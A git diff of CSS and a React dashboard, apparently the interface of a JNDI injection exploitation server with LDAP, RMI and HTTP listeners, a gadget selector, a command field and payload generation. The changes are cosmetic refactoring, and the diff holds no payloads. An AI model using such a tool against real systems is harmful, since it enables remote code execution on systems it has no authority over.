|
||||||
|
z-index: 0;
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity var(--transition-fast);
|
||||||
|
}
|
||||||
|
|
||||||
|
.glass-card:hover::after {
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
|
||||||
.glass-card > * {
|
.glass-card > * {
|
||||||
position: relative;
|
position: relative;
|
||||||
z-index: 1;
|
z-index: 1;
|
||||||
@@ -661,8 +719,26 @@ code, pre, .mono {
|
|||||||
font-family: var(--font-mono);
|
font-family: var(--font-mono);
|
||||||
}
|
}
|
||||||
|
|
||||||
.status-online { color: var(--success); }
|
.status-online { color: var(--success); position: relative; }
|
||||||
.status-offline { color: var(--danger); }
|
.status-offline { color: var(--danger); position: relative; }
|
||||||
|
|
||||||
|
.status-online::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
left: -10px;
|
||||||
|
top: 50%;
|
||||||
|
transform: translateY(-50%);
|
||||||
|
width: 6px;
|
||||||
|
height: 6px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: var(--success);
|
||||||
|
animation: statusPulse 2s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes statusPulse {
|
||||||
|
0%, 100% { box-shadow: 0 0 0 0 rgba(52, 199, 89, 0.4); }
|
||||||
|
50% { box-shadow: 0 0 0 6px rgba(52, 199, 89, 0); }
|
||||||
|
}
|
||||||
|
|
||||||
/* ===== iOS 26 Login ===== */
|
/* ===== iOS 26 Login ===== */
|
||||||
.login-wrapper {
|
.login-wrapper {
|
||||||
@@ -676,6 +752,112 @@ code, pre, .mono {
|
|||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.login-wrapper::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
background-image: url('/login-bg.jpeg');
|
||||||
|
background-size: cover;
|
||||||
|
background-position: center;
|
||||||
|
background-repeat: no-repeat;
|
||||||
|
z-index: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-wrapper::after {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
background: rgba(0, 0, 0, 0.35);
|
||||||
|
z-index: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-acrylic-card {
|
||||||
|
position: relative;
|
||||||
|
z-index: 1;
|
||||||
|
width: 400px;
|
||||||
|
border-radius: 36px;
|
||||||
|
background: transparent;
|
||||||
|
backdrop-filter: none;
|
||||||
|
-webkit-backdrop-filter: none;
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.2);
|
||||||
|
box-shadow:
|
||||||
|
0 8px 32px rgba(0, 0, 0, 0.08),
|
||||||
|
0 2px 8px rgba(0, 0, 0, 0.06),
|
||||||
|
inset 0 0 0 0.5px rgba(255, 255, 255, 0.6);
|
||||||
|
transition: all var(--transition-fluid);
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-acrylic-card::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
border-radius: inherit;
|
||||||
|
background: linear-gradient(
|
||||||
|
155deg,
|
||||||
|
rgba(255, 255, 255, 0.55) 0%,
|
||||||
|
rgba(255, 255, 255, 0.15) 35%,
|
||||||
|
transparent 60%,
|
||||||
|
rgba(255, 255, 255, 0.08) 100%
|
||||||
|
);
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-acrylic-card::after {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
border-radius: inherit;
|
||||||
|
background: linear-gradient(
|
||||||
|
200deg,
|
||||||
|
transparent 50%,
|
||||||
|
rgba(255, 255, 255, 0.12) 100%
|
||||||
|
);
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-acrylic-card:hover {
|
||||||
|
box-shadow:
|
||||||
|
0 16px 48px rgba(0, 0, 0, 0.10),
|
||||||
|
0 4px 12px rgba(0, 0, 0, 0.08),
|
||||||
|
inset 0 0 0 0.5px rgba(255, 255, 255, 0.7);
|
||||||
|
transform: translateY(-2px);
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-theme="dark"] .login-acrylic-card {
|
||||||
|
background: rgba(28, 28, 30, 0.35);
|
||||||
|
border-color: rgba(255, 255, 255, 0.12);
|
||||||
|
box-shadow:
|
||||||
|
0 8px 32px rgba(0, 0, 0, 0.24),
|
||||||
|
0 2px 8px rgba(0, 0, 0, 0.32),
|
||||||
|
inset 0 0 0 0.5px rgba(255, 255, 255, 0.10);
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-theme="dark"] .login-acrylic-card::before {
|
||||||
|
background: linear-gradient(
|
||||||
|
155deg,
|
||||||
|
rgba(255, 255, 255, 0.12) 0%,
|
||||||
|
rgba(255, 255, 255, 0.04) 35%,
|
||||||
|
transparent 60%,
|
||||||
|
rgba(255, 255, 255, 0.03) 100%
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-theme="dark"] .login-acrylic-card::after {
|
||||||
|
background: linear-gradient(
|
||||||
|
200deg,
|
||||||
|
transparent 50%,
|
||||||
|
rgba(255, 255, 255, 0.06) 100%
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-acrylic-card > * {
|
||||||
|
position: relative;
|
||||||
|
z-index: 1;
|
||||||
|
}
|
||||||
|
|
||||||
.login-inner {
|
.login-inner {
|
||||||
padding: 52px 44px 44px;
|
padding: 52px 44px 44px;
|
||||||
}
|
}
|
||||||
@@ -815,6 +997,15 @@ code, pre, .mono {
|
|||||||
display: none;
|
display: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.btn-spinner {
|
||||||
|
animation: btnSpin 1s linear infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes btnSpin {
|
||||||
|
from { transform: rotate(0deg); }
|
||||||
|
to { transform: rotate(360deg); }
|
||||||
|
}
|
||||||
|
|
||||||
.btn-secondary {
|
.btn-secondary {
|
||||||
background: rgba(120, 120, 128, 0.10);
|
background: rgba(120, 120, 128, 0.10);
|
||||||
color: var(--accent);
|
color: var(--accent);
|
||||||
@@ -895,7 +1086,7 @@ code, pre, .mono {
|
|||||||
height: calc(100% - 6px);
|
height: calc(100% - 6px);
|
||||||
background: var(--accent);
|
background: var(--accent);
|
||||||
border-radius: 10px;
|
border-radius: 10px;
|
||||||
transition: transform var(--transition-spring);
|
transition: transform var(--transition-spring), width var(--transition-spring);
|
||||||
box-shadow: 0 2px 10px var(--accent-glow), inset 0 1px 0 rgba(255,255,255,0.2);
|
box-shadow: 0 2px 10px var(--accent-glow), inset 0 1px 0 rgba(255,255,255,0.2);
|
||||||
z-index: 0;
|
z-index: 0;
|
||||||
}
|
}
|
||||||
@@ -912,6 +1103,16 @@ code, pre, .mono {
|
|||||||
width: calc(33.333% - 4px);
|
width: calc(33.333% - 4px);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.tab-segment-control .tab-indicator {
|
||||||
|
position: absolute;
|
||||||
|
bottom: -2px;
|
||||||
|
height: 2px;
|
||||||
|
background: var(--accent);
|
||||||
|
border-radius: 1px;
|
||||||
|
transition: all var(--transition-spring);
|
||||||
|
z-index: 2;
|
||||||
|
}
|
||||||
|
|
||||||
.tab-segment-btn {
|
.tab-segment-btn {
|
||||||
position: relative;
|
position: relative;
|
||||||
z-index: 1;
|
z-index: 1;
|
||||||
@@ -1327,18 +1528,44 @@ select {
|
|||||||
font-size: 13px;
|
font-size: 13px;
|
||||||
font-family: 'Inter', sans-serif;
|
font-family: 'Inter', sans-serif;
|
||||||
backdrop-filter: blur(8px);
|
backdrop-filter: blur(8px);
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.file-upload-zone::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
background: radial-gradient(circle at center, var(--accent-glow) 0%, transparent 70%);
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity var(--transition-fast);
|
||||||
|
pointer-events: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
.file-upload-zone:hover {
|
.file-upload-zone:hover {
|
||||||
border-color: var(--accent);
|
border-color: var(--accent);
|
||||||
color: var(--accent);
|
color: var(--accent);
|
||||||
background: var(--accent-glow);
|
background: var(--accent-glow);
|
||||||
|
transform: translateY(-2px);
|
||||||
|
box-shadow: 0 4px 16px var(--accent-glow);
|
||||||
}
|
}
|
||||||
|
|
||||||
.file-upload-zone.drag-over {
|
.file-upload-zone.drag-over {
|
||||||
border-color: var(--accent);
|
border-color: var(--accent);
|
||||||
background: var(--accent-glow);
|
background: var(--accent-glow);
|
||||||
color: var(--accent);
|
color: var(--accent);
|
||||||
|
transform: scale(1.02);
|
||||||
|
box-shadow: 0 0 24px var(--accent-glow);
|
||||||
|
}
|
||||||
|
|
||||||
|
.file-upload-zone.drag-over::before {
|
||||||
|
opacity: 1;
|
||||||
|
animation: uploadPulse 1.5s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes uploadPulse {
|
||||||
|
0%, 100% { transform: scale(1); opacity: 0.5; }
|
||||||
|
50% { transform: scale(1.1); opacity: 0.8; }
|
||||||
}
|
}
|
||||||
|
|
||||||
.file-upload-zone.uploading {
|
.file-upload-zone.uploading {
|
||||||
|
|||||||
@@ -1,7 +1,10 @@
|
|||||||
import { useState } from 'react'
|
import { useState, useEffect } from 'react'
|
||||||
import { useToast } from '../components/Toast'
|
import { useToast } from '../components/Toast'
|
||||||
import useDashboard from '../hooks/useDashboard'
|
import useDashboard from '../hooks/useDashboard'
|
||||||
import CopyButton from '../components/CopyButton'
|
import ServerStatusCard from '../components/ServerStatusCard'
|
||||||
|
import GadgetSelector from '../components/GadgetSelector'
|
||||||
|
import PayloadOutput from '../components/PayloadOutput'
|
||||||
|
import ConfigForm from '../components/ConfigForm'
|
||||||
|
|
||||||
const ExternalLinkIcon = () => (
|
const ExternalLinkIcon = () => (
|
||||||
<svg width="12" height="12" viewBox="0 0 16 16" fill="none">
|
<svg width="12" height="12" viewBox="0 0 16 16" fill="none">
|
||||||
@@ -10,12 +13,6 @@ const ExternalLinkIcon = () => (
|
|||||||
</svg>
|
</svg>
|
||||||
)
|
)
|
||||||
|
|
||||||
const SearchIcon = () => (
|
|
||||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
|
|
||||||
<circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/>
|
|
||||||
</svg>
|
|
||||||
)
|
|
||||||
|
|
||||||
const CommandIcon = () => (
|
const CommandIcon = () => (
|
||||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
|
||||||
<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>
|
<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>
|
||||||
@@ -77,7 +74,22 @@ const LogoutIcon = () => (
|
|||||||
export default function Dashboard() {
|
export default function Dashboard() {
|
||||||
const { showToast } = useToast()
|
const { showToast } = useToast()
|
||||||
const d = useDashboard()
|
const d = useDashboard()
|
||||||
const [sidebarCollapsed, setSidebarCollapsed] = useState(false)
|
const [sidebarHidden, setSidebarHidden] = useState(true)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
function handleMouseMove(e) {
|
||||||
|
const cards = document.querySelectorAll('.glass-card')
|
||||||
|
cards.forEach(card => {
|
||||||
|
const rect = card.getBoundingClientRect()
|
||||||
|
const x = e.clientX - rect.left
|
||||||
|
const y = e.clientY - rect.top
|
||||||
|
card.style.setProperty('--mouse-x', `${x}px`)
|
||||||
|
card.style.setProperty('--mouse-y', `${y}px`)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
window.addEventListener('mousemove', handleMouseMove)
|
||||||
|
return () => window.removeEventListener('mousemove', handleMouseMove)
|
||||||
|
}, [])
|
||||||
|
|
||||||
async function handleToggleServer(server) {
|
async function handleToggleServer(server) {
|
||||||
await d.handleToggleServer(server)
|
await d.handleToggleServer(server)
|
||||||
@@ -113,25 +125,37 @@ export default function Dashboard() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function doUpload(file) {
|
const servers = [
|
||||||
await d.doUpload(file)
|
{ key: 'ldap', label: 'LDAP', port: d.status.ldapPort, running: d.status.ldapRunning },
|
||||||
showToast(`Uploaded: ${file.name}`, 'success')
|
{ key: 'ldaps', label: 'LDAPS', port: d.status.ldapsPort, running: d.status.ldapsRunning },
|
||||||
}
|
{ key: 'http', label: 'HTTP', port: d.status.httpPort, running: d.status.httpRunning },
|
||||||
|
{ key: 'rmi', label: 'RMI', port: d.status.rmiPort, running: d.status.rmiRunning },
|
||||||
|
]
|
||||||
|
|
||||||
|
const ROUTING_ITEMS = d.ROUTING_OPTIONS.map(opt => ({ name: opt }))
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div>
|
<div>
|
||||||
<div className="dashboard-bg" />
|
<div className="dashboard-bg" />
|
||||||
|
|
||||||
<div className="page-shell dashboard-layout">
|
<div className="page-shell dashboard-layout">
|
||||||
<aside className={'sidebar' + (sidebarCollapsed ? ' collapsed' : '')}>
|
<button
|
||||||
|
className="sidebar-trigger-btn"
|
||||||
|
onClick={() => setSidebarHidden(v => !v)}
|
||||||
|
title={sidebarHidden ? 'Expand sidebar' : 'Collapse sidebar'}
|
||||||
|
>
|
||||||
|
{sidebarHidden ? <MenuIcon /> : <CloseIcon />}
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<aside className={'sidebar sidebar-hidden' + (sidebarHidden ? '' : ' sidebar-visible')}>
|
||||||
<div className="sidebar-content">
|
<div className="sidebar-content">
|
||||||
<button
|
<button
|
||||||
className="sidebar-toggle-btn"
|
className="sidebar-toggle-btn"
|
||||||
onClick={() => setSidebarCollapsed(v => !v)}
|
onClick={() => setSidebarHidden(v => !v)}
|
||||||
title={sidebarCollapsed ? 'Expand sidebar' : 'Collapse sidebar'}
|
title={sidebarHidden ? 'Expand sidebar' : 'Collapse sidebar'}
|
||||||
>
|
>
|
||||||
<span className="toggle-icon-default">
|
<span className="toggle-icon-default">
|
||||||
{sidebarCollapsed ? <MenuIcon /> : <CloseIcon />}
|
{sidebarHidden ? <MenuIcon /> : <CloseIcon />}
|
||||||
</span>
|
</span>
|
||||||
<span className="toggle-icon-hover">
|
<span className="toggle-icon-hover">
|
||||||
<ArrowRightIcon />
|
<ArrowRightIcon />
|
||||||
@@ -171,7 +195,7 @@ export default function Dashboard() {
|
|||||||
</div>
|
</div>
|
||||||
</aside>
|
</aside>
|
||||||
|
|
||||||
<main className="main-content">
|
<main className={'main-content' + (sidebarHidden ? ' main-content-full' : '')}>
|
||||||
<div key={d.animKey}>
|
<div key={d.animKey}>
|
||||||
{d.mode === 'jndi' && (
|
{d.mode === 'jndi' && (
|
||||||
<>
|
<>
|
||||||
@@ -179,307 +203,138 @@ export default function Dashboard() {
|
|||||||
<div className="glass-card section-enter" style={{ width: 200, flexShrink: 0, marginBottom: 0 }}>
|
<div className="glass-card section-enter" style={{ width: 200, flexShrink: 0, marginBottom: 0 }}>
|
||||||
<h2>Server Status</h2>
|
<h2>Server Status</h2>
|
||||||
<div className="status-grid" style={{ gridTemplateColumns: '1fr' }}>
|
<div className="status-grid" style={{ gridTemplateColumns: '1fr' }}>
|
||||||
<div className={'status-item status-clickable' + (d.toggling === 'ldap' ? ' status-toggling' : '')}
|
{servers.map(s => (
|
||||||
onClick={() => handleToggleServer('ldap')}
|
<ServerStatusCard
|
||||||
title="Click to toggle LDAP server">
|
key={s.key}
|
||||||
<span className="status-label">LDAP ({d.status.ldapPort})</span>
|
label={s.label}
|
||||||
<span className={'status-value ' + (d.status.ldapRunning ? 'status-online' : 'status-offline')}>
|
port={s.port}
|
||||||
{d.status.ldapRunning ? 'ONLINE' : 'OFFLINE'}
|
isRunning={s.running}
|
||||||
</span>
|
toggling={d.toggling === s.key}
|
||||||
</div>
|
onClick={() => handleToggleServer(s.key)}
|
||||||
<div className={'status-item status-clickable' + (d.toggling === 'ldaps' ? ' status-toggling' : '')}
|
/>
|
||||||
onClick={() => handleToggleServer('ldaps')}
|
))}
|
||||||
title="Click to toggle LDAPS server">
|
<div className="status-item">
|
||||||
<span className="status-label">LDAPS ({d.status.ldapsPort})</span>
|
<span className="status-label">IP Address</span>
|
||||||
<span className={'status-value ' + (d.status.ldapsRunning ? 'status-online' : 'status-offline')}>
|
<span className="status-value" style={{ color: 'var(--accent)' }}>{d.status.ip || '0.0.0.0'}</span>
|
||||||
{d.status.ldapsRunning ? 'ONLINE' : 'OFFLINE'}
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<div className={'status-item status-clickable' + (d.toggling === 'http' ? ' status-toggling' : '')}
|
|
||||||
onClick={() => handleToggleServer('http')}
|
|
||||||
title="Click to toggle HTTP server">
|
|
||||||
<span className="status-label">HTTP ({d.status.httpPort})</span>
|
|
||||||
<span className={'status-value ' + (d.status.httpRunning ? 'status-online' : 'status-offline')}>
|
|
||||||
{d.status.httpRunning ? 'ONLINE' : 'OFFLINE'}
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<div className={'status-item status-clickable' + (d.toggling === 'rmi' ? ' status-toggling' : '')}
|
|
||||||
onClick={() => handleToggleServer('rmi')}
|
|
||||||
title="Click to toggle RMI server">
|
|
||||||
<span className="status-label">RMI ({d.status.rmiPort})</span>
|
|
||||||
<span className={'status-value ' + (d.status.rmiRunning ? 'status-online' : 'status-offline')}>
|
|
||||||
{d.status.rmiRunning ? 'ONLINE' : 'OFFLINE'}
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<div className="status-item">
|
|
||||||
<span className="status-label">IP Address</span>
|
|
||||||
<span className="status-value" style={{ color: 'var(--accent)' }}>{d.status.ip || '0.0.0.0'}</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="glass-card section-enter" style={{ flex: 1, marginBottom: 0 }}>
|
|
||||||
<div className="control-bar" style={{ justifyContent: 'space-between', alignItems: 'center' }}>
|
|
||||||
<div className={'tab-segment-control tabs-3' + (d.activeJndiTab === 'payload' ? ' config-tab' : '') + (d.activeJndiTab === 'logs' ? ' tab-3' : '')}>
|
|
||||||
<button
|
|
||||||
className={'tab-segment-btn' + (d.activeJndiTab === 'config' ? ' active' : '')}
|
|
||||||
onClick={() => d.setActiveJndiTab('config')}
|
|
||||||
>
|
|
||||||
Config
|
|
||||||
</button>
|
|
||||||
<button
|
|
||||||
className={'tab-segment-btn' + (d.activeJndiTab === 'payload' ? ' active' : '')}
|
|
||||||
onClick={() => d.setActiveJndiTab('payload')}
|
|
||||||
>
|
|
||||||
Payload
|
|
||||||
</button>
|
|
||||||
<button
|
|
||||||
className={'tab-segment-btn' + (d.activeJndiTab === 'logs' ? ' active' : '')}
|
|
||||||
onClick={() => d.setActiveJndiTab('logs')}
|
|
||||||
>
|
|
||||||
Logs
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
{d.activeJndiTab === 'config' && (
|
|
||||||
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleSaveConfig} disabled={d.loading}>
|
|
||||||
{d.loading ? 'Saving...' : 'Save Configuration'}
|
|
||||||
</button>
|
|
||||||
)}
|
|
||||||
{d.activeJndiTab === 'payload' && d.payloadSubTab === 'gadget' && (
|
|
||||||
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleGenerateJndiPayload}
|
|
||||||
disabled={d.loading || (!(d.jndiGadgetInput || d.selectedGadget).trim()) || !d.payloadCmd}>
|
|
||||||
{d.loading ? 'Generating...' : 'Generate'}
|
|
||||||
</button>
|
|
||||||
)}
|
|
||||||
{d.activeJndiTab === 'payload' && d.payloadSubTab === 'classloader' && (
|
|
||||||
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleGenerateClassLoader}
|
|
||||||
disabled={d.loading || !d.filePath.trim() || !d.routing.trim()}>
|
|
||||||
{d.loading ? 'Generating...' : 'Generate'}
|
|
||||||
</button>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{d.activeJndiTab === 'config' && (
|
|
||||||
<div key="jndi-config" className="tab-content-enter">
|
|
||||||
<div className="config-form">
|
|
||||||
<div className="form-group">
|
|
||||||
<label>IP Address</label>
|
|
||||||
<input type="text" value={d.configForm.ip}
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, ip: e.target.value })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>LDAP Port</label>
|
|
||||||
<input type="number" value={d.configForm.ldapPort}
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, ldapPort: parseInt(e.target.value) || 1389 })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>LDAPS Port</label>
|
|
||||||
<input type="number" value={d.configForm.ldapsPort}
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, ldapsPort: parseInt(e.target.value) || 1669 })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>HTTP Port</label>
|
|
||||||
<input type="number" value={d.configForm.httpPort}
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, httpPort: parseInt(e.target.value) || 3456 })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>RMI Port</label>
|
|
||||||
<input type="number" value={d.configForm.rmiPort}
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, rmiPort: parseInt(e.target.value) || 1099 })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>AES Key</label>
|
|
||||||
<input type="text" value={d.configForm.AESkey}
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, AESkey: e.target.value })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>LDAP User</label>
|
|
||||||
<input type="text" value={d.configForm.user} placeholder="ldap bind account"
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, user: e.target.value })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>LDAP Password</label>
|
|
||||||
<input type="password" value={d.configForm.PASSWD} placeholder="ldap bind password"
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, PASSWD: e.target.value })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>JKS Key Password</label>
|
|
||||||
<input type="password" value={d.configForm.keyPass} placeholder="JKS key password"
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, keyPass: e.target.value })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group">
|
|
||||||
<label>JKS Cert File</label>
|
|
||||||
<input type="text" value={d.configForm.certFile} placeholder="/path/to/cert.jks"
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, certFile: e.target.value })} />
|
|
||||||
</div>
|
|
||||||
<div className="form-group" style={{ gridColumn: 'span 3' }}>
|
|
||||||
<label className="form-group" style={{ marginBottom: 0 }}>
|
|
||||||
<input type="checkbox" checked={d.configForm.TLSProxy}
|
|
||||||
onChange={e => d.setConfigForm({ ...d.configForm, TLSProxy: e.target.checked })} /> TLS Proxy (LDAPS Port Forwarding)
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
)}
|
</div>
|
||||||
|
|
||||||
{d.activeJndiTab === 'payload' && (
|
<div className="glass-card section-enter" style={{ flex: 1, marginBottom: 0 }}>
|
||||||
<div key="jndi-payload" className="tab-content-enter">
|
<div className="control-bar" style={{ justifyContent: 'space-between', alignItems: 'center' }}>
|
||||||
<div className="control-bar">
|
<div className={'tab-segment-control tabs-3' + (d.activeJndiTab === 'payload' ? ' config-tab' : '') + (d.activeJndiTab === 'logs' ? ' tab-3' : '')}>
|
||||||
<div className={'tab-segment-control' + (d.payloadSubTab === 'classloader' ? ' config-tab' : '')}>
|
<button className={'tab-segment-btn' + (d.activeJndiTab === 'config' ? ' active' : '')} onClick={() => d.setActiveJndiTab('config')}>Config</button>
|
||||||
<button
|
<button className={'tab-segment-btn' + (d.activeJndiTab === 'payload' ? ' active' : '')} onClick={() => d.setActiveJndiTab('payload')}>Payload</button>
|
||||||
className={'tab-segment-btn' + (d.payloadSubTab === 'gadget' ? ' active' : '')}
|
<button className={'tab-segment-btn' + (d.activeJndiTab === 'logs' ? ' active' : '')} onClick={() => d.setActiveJndiTab('logs')}>Logs</button>
|
||||||
onClick={() => d.setPayloadSubTab('gadget')}
|
|
||||||
>
|
|
||||||
Gadget
|
|
||||||
</button>
|
|
||||||
<button
|
|
||||||
className={'tab-segment-btn' + (d.payloadSubTab === 'classloader' ? ' active' : '')}
|
|
||||||
onClick={() => d.setPayloadSubTab('classloader')}
|
|
||||||
>
|
|
||||||
ClassLoader
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
|
{d.activeJndiTab === 'config' && (
|
||||||
{d.payloadSubTab === 'gadget' && (
|
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleSaveConfig} disabled={d.loading}>
|
||||||
<div key="payload-gadget" className="tab-content-enter">
|
{d.loading ? 'Saving...' : 'Save Configuration'}
|
||||||
<div style={{ position: 'relative' }}>
|
|
||||||
<div className="form-group input-icon-wrap">
|
|
||||||
<label>Gadget</label>
|
|
||||||
<input type="text"
|
|
||||||
value={d.jndiGadgetInput}
|
|
||||||
placeholder="Type or search..."
|
|
||||||
onFocus={() => d.setGadgetOpen(true)}
|
|
||||||
onBlur={() => setTimeout(() => d.setGadgetOpen(false), 150)}
|
|
||||||
onChange={e => { d.setJndiGadgetInput(e.target.value); d.setGadgetSearch(e.target.value); }}
|
|
||||||
style={{ cursor: 'text' }}
|
|
||||||
/>
|
|
||||||
<span className="input-icon"><SearchIcon /></span>
|
|
||||||
</div>
|
|
||||||
{d.gadgetOpen && (
|
|
||||||
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
|
||||||
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
|
|
||||||
{d.filteredGadgets.map(g => (
|
|
||||||
<div key={g.name}
|
|
||||||
className={'gadget-item' + (d.selectedGadget === g.name ? ' selected' : '')}
|
|
||||||
onMouseDown={e => { e.preventDefault(); d.setSelectedGadget(g.name); d.setJndiGadgetInput(g.name); d.setGadgetSearch(g.name); d.setGadgetOpen(false); }}>
|
|
||||||
{g.name}
|
|
||||||
</div>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
<div className="form-group input-icon-wrap">
|
|
||||||
<label>Command</label>
|
|
||||||
<textarea rows={4} value={d.payloadCmd} placeholder="e.g. whoami"
|
|
||||||
onChange={e => d.setPayloadCmd(e.target.value)} />
|
|
||||||
<span className="input-icon" style={{ top: 38 }}><CommandIcon /></span>
|
|
||||||
</div>
|
|
||||||
{d.jndiPayloadResult && (
|
|
||||||
<div className="payload-output" style={{ marginTop: 14, position: 'relative', paddingRight: 42 }}>
|
|
||||||
{d.jndiPayloadResult}
|
|
||||||
<CopyButton text={d.jndiPayloadResult} />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
{d.rmiPayloadResult && (
|
|
||||||
<div className="payload-output" style={{ marginTop: 8, position: 'relative', paddingRight: 42 }}>
|
|
||||||
{d.rmiPayloadResult}
|
|
||||||
<CopyButton text={d.rmiPayloadResult} />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
{d.ldapsPayloadResult && (
|
|
||||||
<div className="payload-output" style={{ marginTop: 8, position: 'relative', paddingRight: 42 }}>
|
|
||||||
{d.ldapsPayloadResult}
|
|
||||||
<CopyButton text={d.ldapsPayloadResult} />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{d.payloadSubTab === 'classloader' && (
|
|
||||||
<div key="payload-classloader" className="tab-content-enter">
|
|
||||||
<div style={{ position: 'relative' }}>
|
|
||||||
<div className="form-group input-icon-wrap">
|
|
||||||
<label>Routing</label>
|
|
||||||
<input type="text"
|
|
||||||
value={d.routing}
|
|
||||||
placeholder="Select route..."
|
|
||||||
onFocus={() => d.setRoutingOpen(true)}
|
|
||||||
onBlur={() => setTimeout(() => d.setRoutingOpen(false), 150)}
|
|
||||||
onChange={e => d.setRouting(e.target.value)}
|
|
||||||
style={{ cursor: 'text' }}
|
|
||||||
/>
|
|
||||||
<span className="input-icon"><SearchIcon /></span>
|
|
||||||
</div>
|
|
||||||
{d.routingOpen && (
|
|
||||||
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
|
||||||
<div className="gadget-list" style={{ maxHeight: 220, border: 'none', borderRadius: 12 }}>
|
|
||||||
{d.ROUTING_OPTIONS.map(opt => (
|
|
||||||
<div key={opt}
|
|
||||||
